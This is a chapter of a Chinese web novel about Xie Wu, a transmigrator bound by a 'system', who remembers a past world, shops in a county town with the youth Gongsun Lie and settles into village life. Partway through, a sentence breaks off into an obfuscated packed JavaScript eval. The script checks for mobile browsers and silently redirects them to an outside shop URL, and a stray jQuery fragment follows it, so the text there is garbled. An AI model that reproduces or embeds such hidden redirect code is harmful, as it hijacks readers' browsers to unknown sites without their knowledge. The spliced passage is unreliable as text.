谢梧想得入了神,不自觉端起手边酒杯饮下,等他发现时已经晚了,整个人昏睡过去,连一点知觉也没了。
月光洒落,暗夜中一道影子渐渐有了轮廓,接着有了实体,男子拥有公孙冽同样的容貌,身披金线勾画的墨色长袍于虚空中走来。
此刻的他没有半点少年的活泼,沉着脸一言不发,磅礴气势令人不敢直视。
他弯下腰,将人带入怀中,伸出手掌轻轻抚上谢梧的脸,又在他的眉眼处细细摩挲,无喜无悲的眸子渐渐起了水雾。
稍稍一指,床榻上的被子自动飞了过来,盖在谢梧的身上,他就这么拥着他,肃穆的面容露出一抹笑。
很淡,却令月色无端颤了颤。
似乎早就知晓谢梧苏醒的时辰,一个时辰后,又在朦胧月光下将一切复位,仿佛他从未来过,人也在谢梧睁眼的刹那消失不见。
谢梧猛地坐起,环视一周后才松了口气,还好…并未误事。
若说许诺成真是系统额外大礼包,滴酒不沾便是对他的限制。
谢梧在进入第一站异时空时就发现了这个特性,那时他意气风发,并未觉得有何影响,直到因此延误时机,活生生的人命丧在眼前,他才后觉后怕。
第一站内,他身为王储,对逐鹿天下的系统任务信手拿捏。
那时,有与之一起长大的护国大将军萧墨寒,有侯门之子傅思良,还有太傅之子沈恒,好像还有一个人…谢梧想了想,一时想不起,当是不那么重要吧。
那是他第一次进入系统完成任务,对那个时空的礼教身份颇为不屑,身为王储又怎么样呢,他不想高高在上,成为孤家寡人,便与他们义结金兰。
年长的萧墨寒是大哥,谢梧对他十分敬佩,与其他人不同,他是寒门出身,所有的军功都是自己挣来的,年纪轻轻就成了当时最耀眼的星。
谢梧记得那是一个春天,边境大乱,身为王储亲自披甲上阵,随行的还有大将军萧寒默,其他几人留守王城。
战火纷飞的年代,他都记不清究竟在外多久了,只记得后来平定战火,战士们载歌载舞行酒令,一片喧闹欢笑中,王城传来旱情的消息。
需要以活人祭祀河神方能解了祸端。
那晚他饮了酒不省人事,等醒来时才知萧寒默一直守在那里,就为等他班师回城的军令,也是那个时候,谢梧才知祭祀河神的人选竟是傅思良。
等他们没日没夜策马抵达时,人刚刚被投掷河底,萧墨寒冲进河水里,发了疯般在河底寻人,但人被捞上来时咽了气……
那时,一向稳重沉默的大将军猩红了双眼,质问他,“就差一个时辰!王储喝醉的一个时辰!也是救人的一个时辰!”
……
至此,谢梧再不敢碰杜康之物。
往事有些沉重,谢梧吸了吸鼻尖,将这些愁绪散去,才回到床榻就寝。
或许因为记忆被打开,这一夜他睡得不踏实,总感觉整个人浸泡在水里,他苦苦挣扎,不断想游上岸,手脚却被捆绑得严实,周围的水漫过他的眉眼,呛入耳,他只觉无法呼吸,整个身子往下沉……
猛地睁眼才知做了一宿的梦…
此刻天光大亮,谢梧有些精神不振,稍稍洗漱后走出房间。
刚出门,隔壁间喝醉的人也开了门。
公孙冽扶着脑袋,一脸不畅快,“哥哥是不是故意骗我喝了不少酒?”
谢梧走过去,一脸无辜,“自己贪杯,倒是学会赖人!”
说着,‘咚咚咚’下楼去,公孙冽紧随其后,“我记得咱们行酒令,哥哥就没输过!”
“我运气好。”
“我不信!”
……
两人争争吵吵来到街头,县里虽比不上临阳都城,却也够热闹,货郎们将摊前摆得满满,吆喝声不绝于耳。
人流川息中,谢梧记得自己是来置办物件的,一边走一边拿,还不忘对摊主说一声,“后面的人付账。”
公孙冽掏钱的速度跟不上谢梧拿东西的速度,主要是谢梧随手一拿,又都全扔给他来搬,公孙冽就是一个免费的搬运工兼POS机。
东西实在太多,压在少年两个胳膊上,摇摇晃晃的,他不得不提醒前面的人,“哥哥!是不是先放一部分东西到牛车上去?”
谢梧这才停了脚,陪着他将东西搬回客栈。等两人再回到街上,公孙冽抢在了前头。
谢梧:“…”
两人调换了位置,少年阔步在前领路,嗅着香气来到卖糖水的大爷处,双眼放光,一副没见过世面的模样,堂堂世家公子比稚子还贪嘴。
糖水的样式不少,他指着问了一遍。
大爷道:“这是果酱熬的,这是豆沙,那是甘叶…”
就见公孙冽弯着好看的眼,笑嘻嘻道:“我要这个、这个、这个!”
五六种不同的样式根本拿不住,他又指了指身后跟着的谢梧,“他付钱。”
谢梧一脸无辜,他哪来的钱!
公孙冽坏笑着凑在他耳边,“哥哥摸摸怀里。”
谢梧疑惑着正准备照办,哪知少年却直接上了手,将手伸进了谢梧的怀里,谢梧能清晰感受到他不安分的手指,正欲耷下脸,一个钱袋被掏了出来。
少年没觉得有什么不妥,笑嘻嘻凑道:“力气活儿还是我来代劳。”
两人靠得近,公孙冽的鼻息打在谢梧的耳郭上,谢梧莫名心尖一颤,就听到少年似是埋怨道:“昨晚都让哥哥占尽了便宜,今日也让我占点便宜,两不亏。”
未等谢梧有反应,独属于少年的气息一下又远离。
等公孙冽付完账,两手捧着糖水走出几步之外,谢梧才无奈一笑跟了上去。
毕竟是县城,与之前带小崽们去赶集不同,街道两边卖各种货物的都有,少年盯着一处卖玉石的摊子,双腿不听使唤直奔过去。
谢梧:“你喜欢玉器?”
公孙冽摇着头,十分自然拉上谢梧的手往摊子前凑,众多精巧美玉饰品中,少年捻起指甲般大小的珍珠,细细端详后又放下,“珠子太小了,也不够亮。”
“你喜欢圆滚滚的珠子?”谢梧想起之前在山石坡上公孙冽用五彩弹珠摆出十日连珠的奇观。
公孙冽在摊子上挑挑拣拣,“哥哥不觉得这些珠子亮晶晶的,让人欢喜。”
原来他喜欢亮晶晶的东西,谢梧指了指一块不怎么显眼的石头,“这个。”
公孙冽:“?”
“这东西夜里能亮。”谢梧十分肯定道。
那摊主是个能说会道的大娘,“小伙子面善呢,眼光也毒,当初出手这块石头的老家伙也这么说,我还当他信口胡诌呢!”
谢梧眉眼弯弯,更显和善了,“这石头我们买了。”
大娘咧着嘴,笑开了花,“五百钱。”
她觉得自己赚大发了,刚不过顺着话说,这石头她放在家好些天了,夜里可没亮过!
回去的一路,公孙冽拿着石头在阳光底下瞧了瞧,没觉出什么特别,“真能亮呀?”
谢梧点头,“雄兔能下一窝兔子,这块石头定是一颗璀璨夺目的夜明珠!”
虽是一块平常的石头,有他许诺便就不再只是一块石头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14131624|149900||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
想到昨晚划拳时他也许诺,让少年把把都输,这才让公孙冽连输三盘,问出一些话。
日光将少年绝美的容颜渡上一层金色,谢梧略显心虚,就当给他的弥补吧。
**
装了满满东西的牛车在第三日回到了石牛村,刚到村口,阿泗就守在那里,也不知在公孙冽耳边嘀咕了什么。
就见少年一张脸瞬间变了色,几分不舍,几分落寞。
谢梧跳下车,心里猜到了七八分,“聚散本是常态,快回去吧。”
说罢,赶着牛车就要离开。
公孙冽目送着渐行渐远的背影,想将人拦下,却又不知怎么开口。
谢梧手上拿着牛鞭,却真切感受到身后那道炙热的目光。
牛车走上山道,行至半腰,少年的声音伴着风声落进了耳。
“哥哥,等一下!”
谢梧几乎第一时间勒停了牛儿,再次跳下车,就见少年飞扬的发。
满山金黄的稻子随风摇摆,天地间一红一白两道身影尤为醒目,公孙冽跑到谢梧跟前,潋滟的双眸里仅剩一人光影。
他说:“冬至,我来寻一个答案。”
谢梧愣住,知道他口中所说的那个答案是什么,只是恐怕要令他失望。
少年等的那个一统天下的奇才,谢梧不会承认的,也不会离开。
见过太多生离死别,血流成河的场面,这一次,他只想咸鱼度过。
没等谢梧有所回应,“哥哥,等我!”
公孙冽留下这两句才兴冲冲离去,暗红色外袍随着他的奔走而摆动,只见少年挥臂而别的背影。
谢梧就这么看着人消失在山道尽头,良久才转身。
山石坡上的院落被清扫了一遍,多余的东西全都处理了,只需将牛车上的物件搬进屋内,在归置妥当,属于谢梧和小崽们的安身之所也就建成了。
转眼,金色秋季在村民们收割稻子,种下麦种的忙碌中悄然逝去。
呼呼西北风带着初冬的寒意来到。
自打谢梧找出药草救了村里的孩子,村民们总会时不时拎点东西来到山头小院,谢梧也趁此将梯田的开垦方法传授下去,村民们面露动容,将这份恩泽记在了心里。
冬季来临前,里正带着大家将附近几片无法耕种的山体进行改造,祈盼来年能多出一些耕织的地来,石牛村未来的日子必然好过了。
大家伙干劲十足,阿云也参与进去,将属于她与弟妹的山地翻了几遍。
林老二夫妇更是改了性子,不仅照顾阿云他们,更主动承担了搬运山石的苦力活儿。
石牛村上下一片和睦。
看着忙里忙外的背影,谢梧和白起反而清闲下来。
白起好像十分喜欢公孙冽送给他的白色海螺,总是放在耳边,听着听着又笑了。每每这时,林风就会凑过去,一脸不满,“以后我会送你更好更大的!”
见人不理他,就缠着白起入山打猎,学武功。
林风还记着谢梧承诺的弓箭,谢梧倚在秃树上,给他一个肯定的手势,小崽子更兴奋了,信心十足!
秃树下,林雀搓着一双小手,外头寒风刺骨,她其实不大愿意在外头学画画。
可谢梧却只在外头教,还总是攀上秃树的最高处,林雀问:“为什么要那么高呢?”
谢梧随口答道:“这样才能看得清你画得怎么样!”
林雀心里嘀咕,这么高真能看得见?离得近不是更好?
可能连谢梧自己都没发现,他总会下意识向着远处眺望,像是在等谁……